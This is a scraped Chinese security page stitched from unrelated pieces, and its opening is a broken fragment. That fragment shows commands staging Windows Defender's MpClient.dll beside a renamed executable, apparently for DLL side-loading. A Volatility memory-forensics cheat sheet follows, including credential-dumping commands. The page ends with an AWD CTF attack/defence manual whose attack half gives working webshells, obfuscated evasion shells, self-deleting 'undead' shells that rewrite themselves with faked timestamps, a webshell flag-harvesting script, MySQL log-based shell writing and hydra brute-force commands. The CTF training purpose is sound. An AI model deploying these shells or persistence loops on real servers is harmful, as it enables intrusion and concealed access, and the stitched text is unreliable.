https://github.com/MsF-NTDLL/ChTimeStamp shell copy "C:\\Program Files\\Windows Defender\\MpClient.dll" C:\\Users\\Public\\AccountPictures\\MpClient.dll shell C:\\Users\\Public\\AccountPictures\\ChTimeStamp.exe C:\\Users\\Public\\AccountPictures\\new\_msedge.exe C:\\Users\\Public\\AccountPictures\\MpClient.dll https://github.com/sorabug/ChangeTimestamp ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27 转自于原文连接:https://forum.butian.net/share/2532
-
内存取证volatility工具命令详解
一、环境安装 1.kali下安装Volatility2 注意:一般Volatility2比Volatility3好用 wget https://bootstrap.pypa.io/pip/2.7/get-pip.py python2 get-pip.py python2 -m pip install Crypto python2 -m pip install pycryptodome python2 -m pip install pytz python2 -m pip install Pillow #PIL图形处理库 apt-get install pcregrep python2-dev #插件安装依赖库 python2 -m pip install distorm3 #反编译库 python2 -m pip install openpyxl #读写excel文件 python2 -m pip install ujson #JSON解析 python2 -m pip uninstall yara #恶意软件分类工具 python2 -m pip install pycrypto #加密工具集 python2 -m pip install construct #mimikatz依赖库 # 在 https://github.com/virustotal/yara/releases 下载 YARA 压缩包 tar -zxf yara-4.4.0.tar.gz cd yara-4.4.0 sudo apt-get install automake libtool make gcc pkg-config sudo apt-get install flex bison libssl-dev ./bootstrap.sh ./configure make sudo make install sudo sh -c 'echo "/usr/local/lib" >> /etc/ld.so.conf' sudo ldconfig yara -h git https://github.com/volatilityfoundation/volatility.git cd volatility python2 setup.py install 2.windows下安装 https://www.volatilityfoundation.org/releases 二、常用命令使用 1. 查看内存镜像系统信息 volatility.exe -f worldskills3.vmem imageinfo 2.查看当前内存镜像注册表中用户名 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 printkey -K "SAM\Domains\Account\Users\Names" 3.使用hashdump命令获取sam hash值 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 hashdump 4.使用lasdump命令查看密码明文 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 lsadump 5.查看网络连接状态信息 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 netscan 同时也可以查看到当前系统中存在挖矿进程,获取指向的矿池地址 6.查看当前系统主机名 主机名通过注册表查询,需先用hivelist(也可以查看内存镜像中的虚拟地址)查询 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 hivelist 查看键名 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K "ControlSet001" volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K "ControlSet001\Control " volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K "ControlSet001\Control\ComputerName" volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 printkey -K "ControlSet001\Control\ComputerName\ComputerName" 也可以直接通过 hivedump查询相应的键名, 但是查询非常费时间 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 hivedump -o 0xfffff8a000024010 > system.txt 7.获取当前系统IE浏览器存储的信息 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 iehistory 8.查询系统服务名称 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 svcscan 9.从内存文件中找到异常程序植入到系统的开机自启痕迹 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 shimcache 10.查看父进程与子进程 注意:在进程中PPID比PID大,那就可能这个进程有异常程序 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 pstree 11.查看程序版本信息 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 verinfo 12.通过 pslist命令查询进程 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 pslist 注意:可列举出系统进程,但它不能检测到隐藏或者解链的进程 也能进一步查到子进程的信息 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 pslist -p 2588 13.查看隐藏或解链的进程 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 psscan 或者 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 psxview 注意:可以找到先前已终止(不活动)的进程以及被rootkit隐藏或解链的进程 14.显示cmd历史命令记录 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 cmdscan 或者 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 consoles #能看到指令的输入和输出 15.查看进程命令行参数 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 cmdline 16.扫描内存系统中的所有文件列表 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 filescan 在linux系统中可使用filescan命令参数配合gerp命令进行搜索关键字 python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 filescan |grep "flag" python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 filescan | grep -E 'jpg|png|jpeg|bmp|gif' 搜索图片或者text python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 filescan |grep -E 'txt' python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 filescan |grep -E 'jpg' 导出flag.txt文件 python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000007f1b6c10 -D ./ dump 出来的进程文件,建议使用 foremost 来分离里面的文件 17.查看文件内容(需要 filescan配合命令查询) volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 dumpfiles -Q 0xxxxxxxx -D ./ 注意:需要指定偏移量 -Q 和输出目录 -D,dumpfiles:导出某一文件,指定虚拟地址 18.查看当前展示的notepad内容(win7不支持该命令) volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 notepad 19.显示有关编辑控件(曾经编辑过的内容)的信息 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 editbox 20.提取进程内容(需要pslist命令配合查询使用) volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 memdump -p 2588 --dump-dir=./ 注意:memdump:提取出指定进程,常用foremost 来分离里面的文件 ,需要指定进程-p [pid] 和输出目录 -D 提取出来的直接用strings是无法查看,需要添加-e参数 strings -e l 2626.dmp | grep flag 21.屏幕截图 python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 screenshot --dump-dir=./ 注意:需要安装PIL库,建议linux下运行 22.查看运行程序相关记录,比如最后一次更新时间,运行过的次数等 提取出内存中记录的,当时正在运行的程序有哪些,运行过多少次,最后一次运行的时间等信息 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 userassist 23.最大程度上将内存中的信息提取出来 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 timeliner 注意:将所有操作系统事件以时间线的方式展开 24.查看剪贴板信息 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 clipboard 25.显示关于计算机及其操作系统的详细配置信息(需要安装插件) volatility -f 1.vmem --profile=Win7SP1x64 systeminfo26.查看访问时间 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 mftparser 27.查看环境变量 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 envars volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 envars | grep "Password" 28.列出某一进程加载的所有dll文件 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 dlllist volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 dlllist -p 2588 29.获取最后登录系统的账户 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 printkey -K "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"30.显示进程权限 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 privs31.导出注册表 volatility.exe -f worldskills3.vmem --profile=Win7SP1x64 dumpregistry --dump-dir=./ 32.获取明文密码,直接爆破出用户密码(linxu) python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 mimikatz 33.查看SID python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 getsids 34.获取TrueCrypt密码信息 python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 truecryptpassphrase 35.获取TrueCrypt秘钥信息 python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 truecryptmaster 36.解析MFT记录、导出MFT记录 python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 mftparser python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 mftparser --output-file=mftverbose.txt -D ./ 37.寻找可能注入到各种进程中的恶意软件 python2 vol.py -f worldskills3.vmem --profile=Win7SP1x6 malfind 38.usb连接信息 python2 vol.py -f worldskills3.vmem --profile=Win7SP1x64 usbstor 三、插件安装 下载地址: https://github.com/ruokeqx/tool-for-CTF/tree/master/volatility_plugins https://github.com/superponible/volatility-plugins 下载之后,将 .py 插件放进volatility 的 plugins 文件夹目录下(/volatility-master/volatility/plugins) lastpass.py Chrome 记录的登录密码 usbstor.py 扫描注册表查找插入系统的 USB 设备 chromehistory.py 谷歌浏览器历史记录 firefoxhistory.py 火狐浏览器历史记录 system_info.py systeminfo sqlite_help.py 上面两个插件的必须文 四、CTF中内存取证题目类型 类型1:隐藏图片 1.查看可疑进程(pslist) 2 导出进程文件 3.使用查看文件内容,确认文件类型(file *.dmp) 4.一般图片文件使用foremost 分离 ( foremost *.dmg) 5.如果分离出来是镜像文件.img损坏(testdisk *.img进行修复) 类型2:剪切板 1.搜索关于flag的文件(filescan | grep flag) 2.搜索IE浏览器历史记录,查看访问了什么网站(iehistory | grep 'https://') 3.查看编辑器中有什么,和文档有关的取证(editbox或者notepad) 4.查看剪切板复制中有什么记录,mspaint对应进程的内容(memdump -p PID值 --dump-dir=./) 类型3:TrueCrypt加密 1.导出TrueCrypt对应进程的内容(memdump -p PID值 --dump-dir=./) 2.使用Elcomsoft Forensic Disk Decryptor对导出的进程进行还原内容 3.用VeraCrypt挂载查看还原的内容 类型4:传输压缩包 1.查看使用过得命令(cmdscan) 2.搜索关键字(filescan | grep 'P@ss') 4.dump出压缩包内存文件(dumpfiles -Q 0x0000000002c61318 -D ./) 类型5:用户密码 1.hashdump导出密码hash值 2.使用jone或者在线工具对其进行NTML值破解 https://crackstation.net/ 3.或者使用mimikatz插件进行明文读取用户的密码 类型6:IE浏览器中保存的文件 1.获取IE浏览器历史记录(iehistoy) 2.过滤IE浏览器中的关键字(iehistory | grep jpg或者hint) 3.dump出对应的jpg和hint内存文件(dumpfiles -Q 0x0000000002c61318 -D ./) 类型7:查看主机名和IP 1.主机名(systeminfo插件或者注册表查找对应的键名) 2.ip(netscan) 类型8:剪切板内容 1.获取剪切板内容(clipboard插件) 类型9:隐藏了flag 1.搜索flag.txt文件(filescan | grep flag) 2.导出flag.txt内存文件(dumpfiles -Q 0x0000000002c61318 -D ./) 类型10:隐藏的加密的AES 1.查看可疑程序进程(查看ppid和pid值对比以及时间不一样可判断出可疑进程也还可以用chatget来判断) 2.查找曾经使用过的命令(cmdscan) 3.分别导出子进程和父进程的内存内容分析(memdump -p PID值 --dump-dir=./) 4.找到KEY和IE值,是AES加密 类型11:encryto加密 1.查看可疑进程(pslist) 2.查看历史命令,.查看到加密的历史文件(cmdscan) 3.导出加密的历史可疑文件(dumpfiles -Q 0x000000003e435890 --dump-dir=./**) 4.使用encryto进行解密 类型12:匿名用户登录 1.查看可疑进程,这里是注册表的进程有可疑(pslist) 2.dump出注册表的进程内容(memdump -p 804 --dump-dir=./) 3.查看DUMP出注册表内存关键字sam (strings -e l -d 804.dmp|grep "SAM" ),发现有可疑的用户名 4.检索注册表中的该用户 printkey -K "SAM\Domains\Account\Users\00000493" 5.hashdum出对应账号的用户名的密码(hashdump|grep "FHREhpe") 类型13:rootkiet.exe木马 1.查看可疑进程(pslist) 一般rootkit恶意程序与svchost进行捆绑并注入到svchost.exe中,需要进入安全电脑模式才能清理 2.-查找进程注入引用的文件(-p 880 handles -t file) 3进程在运行过程中被注入的DLL文件(ldrmodules -p 880 | grep -i false) 4.个注入的dll文件的内存地址(malfind -p 880) dlldump -p 880 --base=0x980000 --dump-dir=. volatility命令练习的内存镜像: 链接: https://pan.baidu.com/s/1LXSJ_RL9yotb8IKbzIQZ3g 提取码: syny 参考文章: https://blog.csdn.net/m0_68012373/article/details/129038773
-
AWD攻防比赛指导手册
0# 什么是AWD 0.1# AWD赛制介绍 「 攻防模式 | AWD (Attack With Defense) 」 是 CTF比赛 「CTF Capture The Flag」 几种主要的比赛模式之一,该模式常见于线下赛。 在该模式中,每个队伍都拥有一个相同的初始环境 ( 我们称其为 GameBox ),该环境通常运行着一些特定的服务或应用程序,而这些服务通常包含一些安全漏洞。参赛队伍需要挖掘利用对方队伍服务中的安全漏洞,获取 Flag 以获得积分; 同时,参赛队伍也需要修补自身服务漏洞进行防御,以防被其他队伍攻击和获取 Flag。 主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。 0.2# 比赛整体流程 赛前准备环节:我们会分配到多个靶机服务器,通常是分配给我们 SSH 或者 VNC 的用户名和密码,还有相关IP等信息 安全加固环节:我们需要先自己去登录靶机服务器,进行30分钟的安全加固(源码备份/弱口令修改/代码审计和修复/漏洞修复等) 自由攻击环节:安全加固时间过后,开始自由攻击环节,通过对别的队伍的靶机服务器进行攻击(弱口令/Web漏洞/系统漏洞等)获得Flag进行加分,对应队伍失分 1# 比赛环境 通常比赛环境有以下三种情况: 混合靶机情况:运维机器 Windows 10 + 攻击机 Kali Linux + Win靶机 Windows Server 2003/2008/2012 或者 Windows 7 + Linux靶机 Centos7.x 或者 Ubuntu 16.04/17.01/20.04 纯Linux靶机情况:运维机器 Windows 10 + 攻击机 Kali Linux + Linux靶机 Centos7.x 或者 Ubuntu 16.04/17.01/20.04 纯Windows靶机情况:运维机器 Windows 10 + 攻击机 Kali Linux + Win靶机 Windows Server 2003/2008/2012 或者 Windows 7 2# 安全加固环节(Defense) 2.0# 基本加固流程 2.0.1 Windows加固流程 先备份:Web源码、数据库 445加固,开启防火墙或IP高级安全策略 开启系统日志审计功能 禁用guest账户、关闭文件共享 确保启动项内容是可控的 限制3389远程访问控制的连接数:在本地组策略编辑器里面,依次展开计算机配置-->管理模板-->Windows组件-->远程桌面服务-->远程桌面会话主机-->连接-->限制连接的数量 使用工具监控关键目录文件:文件操作监控.exe、御剑文件监控.exe 恶意代码文件,通过PCHunter、Monitor查找 Web目录环境查找相关可疑文件:jpg/png/rar,查看属性、解压看文件内容 NTFS扫描磁盘查找隐藏的交换流数据 查找系统所有账户信息,禁止非Administrator账户 修改Web站点管理员访问路径、默认口令、数据库口令 安装WAF脚本,防护Web站点,禁止其他漏洞 2.0.2 Linux加固流程 先备份:Web源码、数据库 系统口令修改,团队统一口令 通过 .bash_history 查找历史命令操作,发现痕迹 查看计划任务:crontab -l;编辑计划任务:crontab -e 查看 /etc/init.d/rc.local 中启动服务有无异常 使用脚本开启进程监控、目录监控、流量监控 Web站点口令,站点管理员路径修改 系统加固:iptable 2.1# 基本信息搜集 在防守的时候,信息搜集也很重要,正所谓“知己知彼,百战不殆” 2.1.1 明确Linux机器信息 uname -a //系统信息 ps -aux //查询进程信息 ps -ef | grep 进程名称 //筛选指定进程 id //用于显示用户ID,以及所属群组ID cat /etc/passwd //查看用户情况 ls /home/ //查看用户情况 find / -type d -perm -002 //可写目录检查 ifconfig //Linux上查看网卡信息 2.1.2 明确Windows机器信息 whoami /all //Windows上查看用户详细信息 ipconfig /all //Windows上查看网卡信息 2.1.3 查看开放端口 netstat //查看活动连接 netstat -ano/-a //查看端口情况 netstat -anp //查看端口 firewall-cmd --zone= public --remove-port=80/tcp –permanent //关闭端口 firewall-cmd –reload //防火墙重启 2.1.4 默认口令(弱口令)更改 为了防范弱口令攻击,Mysql密码默认都是root,phpstudy默认密码123456 还有其他默认密码admin,top100, top1000等 尤其是WEB应用的后台密码修改 passwd username //ssh口令修改 set password for mycms@localhost = password('18ciweufhi28746'); //MySQL密码修改 find /var/www//html -path '*config*’ //查找配置文件中的密码凭证 2.1.5 找本地Flag grep -r "flag" /var/www/html/ //Linux:在Web目录下查找flag findstr /s /i "flag" *.* //Windows:当前目录以及所有子目录下的所有文件中查找"flag"这个字符串 2.1.6 设置禁Ping echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all //临时开启禁ping echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all //关闭禁ping 2.2# Web安全加固 2.2.1 备份源码 防止在对源码进行修改时出问题,或者被攻击方删除源码而准备 压缩源码: tar -cvf web.tar /var/www/html zip -q -r web.zip /var/www/html 解压缩源码: tar -xvf web.tar -c /var/www/html unzip web.zip -d /var/www/html 备份源码: mv web.tar /tmp mv web.zip /home/xxx 上传和下载源码: scp username@servername:/path/filename /tmp/local_destination //从服务器下载单个文件到本地 scp /path/local_filename username@servername:/path //从本地上传单个文件到服务器 scp -r username@servername:remote_dir/ /tmp/local_dir //从服务器下载整个目录到本地 scp -r /tmp/local_dir username@servername:remote_dir //从本地上传整个目录到服务器 2.2.2 设置只读权限 对Web文件设置只读和执行权限(PHP等动态语言需要执行权限) chmod 0555 /var/www/html/* chmod 0555 /var/www/html/*.php Web根目录设置只读和执行权限 chmod 0555 /var/www/html 改变文件的属主和属组来设置严格的权限 chown -R root:root /var/www/html/ //设置拥有人为 root:root 或 httpd:httpd (推荐) chown -R apache:apache /var/www/html/ //确保 apache 拥有 /var/www/html/ 2.2.3 配置 .htaccess 利用 .htaccess 配置文件禁止php文件执行 <Directory "/var/www/html/upload"> //指定目录后续的指令将应用于该目录 Options -ExecCGI -Indexes //禁用了目录中的 CGI 执行和目录索引(显示目录内容列表)功能。 AllowOverride None //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。 RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml //这两个指令移除指定文件扩展名的处理器和类型。 //在这种情况下,这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含(SSI)文件类型。 php_flag engine off //这个指令将 PHP 的引擎标志(engine)设置为关闭状态,从而禁用了在该目录中执行 PHP 脚本的能力。 <FilesMatch ".+\.ph(p[3457]?|t|tml)$"> deny from all </FilesMatch> //这三行命令使用正则表达式匹配了以 .php、.phtml、.php3、.pht、.php4、.php5、.php7、.shtml 结尾的文件,并将其访问权限设置为拒绝所有 </Directory> 2.2.4 PHP参数安全配置 首先找到PHP的配置文件 /etc/php/{version}/php.ini 禁用高危函数 disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link 配置 open_basedir (将用户访问文件的活动范围限制在指定的区域) open_basedir=/var/www/html 禁用魔术引号(自动对外部来源数据进行转义,防止SQL注入) magic_quotes_gpc = Off 关闭PHP伪协议 allow_url_fopen = Off allow_url_include = Off 重启PHP sudo service php7.0-fpm restart sudo systemctl restart php7.0-fpm.service 2.3# 数据库安全加固 2.3.1 Mysql加固 为了防范弱口令攻击,Mysql密码默认都是root,phpstudy默认密码123456 不使用默认口令,修改成复杂的,并确保和web环境连接 设置只允许本地127.0.0.1账户登录:修改 bind-address=127.0.0.1 ;在配置文件中加入 seccure_file_priv=NULL 开启日志审计功能:general_log_file=路径 因为最常用的是Mysql数据库,所以基本的攻防大部分都是用MySql数据库的命令 备份指定数据库: mysqldump –u username –p password databasename > target.sql 备份所有数据库: mysqldump –all -databases > all.sql 导入数据库: mysql –u username –p password database < from.sql 对于MySQL的攻防,可以看这篇文章:https://blog.zgsec.cn/archives/26.html MySQL默认配置文件路径: C:\\Program Files\MySQL\MySQLServer 5.1\my.ini //Windows /etc/my.cnf //Linux /etc/mysql/my.cnf //Linux 修改 secure_file_priv 参数(日志功能的对应目录) secure_file_priv="" 重载MySQL配置 FLUSH PRIVILEGES 重启MySQL服务 sudo service mysql restart sudo systemctl restart mysql 2.3.2 Mssql加固 删除不必要的账号 SQLServer用户口令安全 根据用户分配帐号避免帐号共享 分配数据库用户所需的最小权限 网络访问限制 SQLServer登录审计 SQLServer安全事件审计 配置日志功能 2.4# 远程控制加固 2.4.1 SSH安全加固 限制IP登录方法 sudo nano /etc/ssh/sshd_config //以root权限编辑SSH配置文件 AllowUsers [email protected] //找到并编辑以下行,确保其取消注释并设置为所需的IP地址 禁用 root 远程登录 sudo nano /etc/ssh/sshd_config //以root权限编辑SSH配置文件 PermitRootLogin no //将PermitRootLogi设置为“no” 按用户和组限制SSH登录 sudo nano /etc/ssh/sshd_config //以root权限编辑SSH配置文件 AllowUsers testuser //设置只允许 testuser 登录SSH AllowUsers [email protected] //设置只允许 192.168.1.100 的机器用 testuser 账户登录SSH AllowGroups test //设置用户组白名单 //需要注意的是:如果同时指定了 AllowUsers 与 AllowGroups 那么必须要在两个选项中都匹配到的用户才能进行SSH登录 重启SSH服务 sudo service sshd restart sudo systemctl restart sshd.service 2.4.2 RDP远程登录安全加固 删除默认帐户并手动添加新用户: 步骤1:按 Win + R 打开运行对话框,输入 secpol.msc 并单击 “确定” 步骤2:导航至此处:本地策略-->用户权限分配,再双击打开 “允许通过远程桌面服务登录” 步骤3:删除此窗口中列出的管理员和远程桌面用户(或计算机上的任何其他用户或组) 步骤4:之后单击 “添加用户或组” 并手动添加您要授予远程桌面访问权限的用户 更改默认RDP端口号: 步骤1:打开运行对话框,输入 regedit 并单击 “确定” 步骤2:打开 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp ,向下滚动并找到 PortNumber 然后双击它 步骤3:选择 “十进制”,修改为您想要设置的端口号,然后单击 “确定” 2.5# 应急响应 2.5.1 查询进程线程 netstat ps -aux netstat -apt 2.5.2 杀掉进程 kill -9 pid //Linux上 taskkill /f /pid pid //Windows上 2.5.3 搜索WebShell文件 find /var/www/html -name *.php -mmin -5 //查看最近5分钟修改文件 find ./ -name '*.php' | xargs wc -l | sort -u //寻找行数最短文件,一般有可能是一句话木马 grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html //查包含关键字的php文件 find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more //在Linux系统中使用find、grep和xargs命令的组合,用于在指定目录(/var/www/html)下查找所有以.php为扩展名的文件,并搜索这些文件中包含字符串"eval("的行,并使用more命令来分页显示结果以便在输出较长时进行逐页查看 2.5.4 查杀不死马 也可以利用命令自动进行查找删除 ps -aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9 然后重启服务 service php-fpm restart 2.5.5 杀弹反弹shell 老规矩查看进程 ps -ef px -aux ps -aux | grep www-data 注意 www-data 权限的 /bin/sh,很有可能是nc 再就是上老一套命令 kill ps -aux | grep www-data | grep apache2 | awk '{print $2}' 3# 自由攻击环节(Attack) 3.0# 主要准备内容 各类CMS软件包最新版准备 扫描工具:Nmap、Nessus、Metasploit更新 漏洞利用脚本Poc、Exp 3.1# 基本信息搜集 3.1.1 主机信息搜集 Nmap namp -sn 192.168.0.0/24 //C段存活扫描 httpscan httpscan.py 192.168.0.0/24 –t 10 //C段存活扫描 3.1.2 端口扫描 nmap -sV 192.168.0.2 //扫描主机系统版本 nmap -sS 192.168.0.2 //扫描主机常用端口 nmap -sS -p 80,445 192.168.0.2 //扫描主机部分端口 nmap -sS -p- 192.168.0.2 //扫描主机全部端口 Python脚本 import requests for x in range(2,255): url = "http://192.168.1.{}".format(x) try: r = requests.post(url) print(url) except: pass 3.2# 外部打点 3.2.0 常见系统漏洞 MS17-010(永恒之蓝,可看https://blog.zgsec.cn/archives/172.html) MySQL进行UDF提权(SQL注入或者MySQL弱口令) MsSQL进行系统命令执行(SQL注入或者MsSQL弱口令) SSH弱口令或默认口令 PWN(这个要看具体AWD比赛提供的内容了) 3.2.1 中间件漏洞 IIS(解析漏洞、远程代码执行) Apache(解析漏洞) Nginx(解析漏洞) Jboss(CVE-2017-7504/CVE-2017-12149/CVE-2015-7501) Mysql(弱口令) Tomcat(弱口令Getshell) Weblogic(CVE-2020-2551/CVE-2020-2555/CVE-2020-2883) SpringBoot(未授权访问漏洞和RCE漏洞,具体可看https://blog.zgsec.cn/archives/129.html) 3.2.2 集成服务环境漏洞 wampserver xamppserver 3.2.3 CMS漏洞利用 搜集最新版本的CMS,以及对应的漏洞Poc和Exp,这里仅仅列举部分CMS: Aspcms Dedecms Dicuz Drupal Empirecms Eshop Finecms Joomla Lamp Metainfo Phpcms Phpwind Qibocms Seacms Semcms ThinkPHP Wolfcms Wordpress Zabbix 备份文件爆破:使用7kbScan等目录扫描工具对Web系统进行爆破 3.2.4 上传WebShell 常见一句话木马 PHP: <?php @eval($_POST['pass']);?> <?php eval($_GET['pass']); Asp: <%eval request ("pass")%> Aspx: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%> Get型木马 <?php eval($_GET['pass']); //利用方式/shell.php?pass=eval($_POST[1]); 免杀马制作:https://github.com/AabyssZG/WebShell-Bypass-Guide <?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]); //执行GET传参 ?_=system&__=whoami 来执行whoami命令 <?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]); //执行GET传参 ?_=assert 和POST传参 __=PHP代码来GetShell 隐藏的文件读取 <?php header(php'flag:'.file_get_contents('/flag')); 条件允许的话,将flag信息直接读取并返回到header头中,这样做不易被发现 3.2.5 利用WebShell curl(跟hackbar差不多) C:\Users\admin>curl "http://192.168.182.130:8801/include/shell.php" -d "admin_ccmd=system('cat /f*');" //向shell.php文件里传入参数并返回结果 Python多端口传参 #coding=utf-8 import requests url_head="http://192.168.182.130" #网段 url="" shell_addr="/upload/url/shell.php" #木马路径 passwd="pass" #木马密码 #port="80" payload = {passwd: 'System(\'cat /flag\');'} # find / -name "flag*" #清空上次记录 flag=open("flag.txt","w") flag.close() flag=open("flag.txt","a") for i in range(8000,8004): url=url_head+":"+str(i)+shell_addr try: res=requests.post(url,payload)#,timeout=1 if res.status_code == requests.codes.ok: result = res.text print (result) flag.write(result+"\n") else: print ("shell 404") except: print (url+" connect shell fail") flag.close() 3.2.6 MySQL数据库利用 具体可以看这篇文章:https://blog.zgsec.cn/archives/26.html 1、查看MySQL版本 show variables like '%version%'; select version(); #这个只显示MySQL版本号 2、查看 load_file() 开启状态 show variables like '%secure%'; #这条可查看详细信息 show global variables like '%secure_file_priv%'; 3、查看日志功能是否开启和对应目录 SHOW VARIABLES LIKE 'general%'; set global general_log = "ON"; set global general_log_file='/var/www/html/test.php'; #可以写入WebShell然后直接连接蚁剑 # 往日志里面写入 WebShell select '<?php @eval($_POST['AabyssTeam']);?>'; # 此时已经写到 test.php 文件当中了,注意这个要知道网站的具体路径才可以实现 小技巧:获取MySQL账户和对应密码Hash # MySQL <= 5.6 版本 select host, user, password from mysql.user; # MySQL >= 5.7 版本 select host,user,authentication_string from mysql.user; 3.2.7 弱口令爆破 爆破SSH密码 hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ssh hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100 hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100 -s 40 //40是⽬标服务开放的端⼝ 爆破FTP密码 hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ftp hydra -L 用户名字典.txt -P 密码字典.txt ftp://192.168.1.100/ 爆破RDP远程桌面密码 hydra 目标IP地址 rdp -l administrator -P 密码字典.txt -V 爆破Telnet hydra 目标IP地址 telnet -l 用户字典.txt -P 密码字典.txt -f -V 爆破MSSQL数据库 hydra -l sa -P 密码字典.txt 目标IP地址 mssql 爆破MySQL数据库 hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 mysql 3.3# 内网渗透 3.3.1 权限维持之不死马 简单不死马: <?php set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长 ignore_user_abort(1); //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将后台运行 unlink(__FILE__); //删除自身 while(1) { file_put_contents('shell.php','<?php @eval($_POST["AabyssTeam"]);?>'); //创建shell.php sleep(0); //间隔时间 } 可以通过不断复写 shell.php 来达到该木马难以被使用的效果 防连接不死马: <?php set_time_limit(0); // 取消脚本运行时间的超时上限 ignore_user_abort(1); // while(1) { file_put_contents('shell.php','<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'); //创建shell.php sleep(0); } //passwd=AabyssTeam //POST传参:passwd=AabyssTeam&cmd=system('ls'); 进阶不死马: <?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = 'shell.php'; $code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'; while (1){ file_put_contents($file,$code); system('touch -m -d "2020-12-01 09:10:12" shell.php'); //修改时间,防止被删 usleep(5000); } ?> //passwd=AabyssTeam //POST传参:passwd=AabyssTeam&cmd=system('ls'); 将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为 shell.php 的WebShell文件 双重不死马: <?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.login.php'; $file1 = '/admin/.register.php'; $code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'; while (1){ file_put_contents($file,$code); system('touch -m -d "2020-12-01 18:10:12" .login.php'); file_put_contents($file1,$code); system('touch -m -d "2020-12-01 18:10:12" /admin/.register.php'); usleep(5000); } ?> //passwd=AabyssTeam //POST传参:passwd=AabyssTeam&cmd=system('ls'); 浏览器访问写入的WebShell,会自动生成两个不死马: .login.php 和 /admin/.register.php 3.3.2 关键文件检索 组件检索 find / -name "apaech2.conf" //检索Apache主配置文件 find / -name "nginx.conf" //检索Nginx目录 find / -path "*nginx*" -name nginx*conf //检索Nginx配置目录 find / -name "httpd.conf" 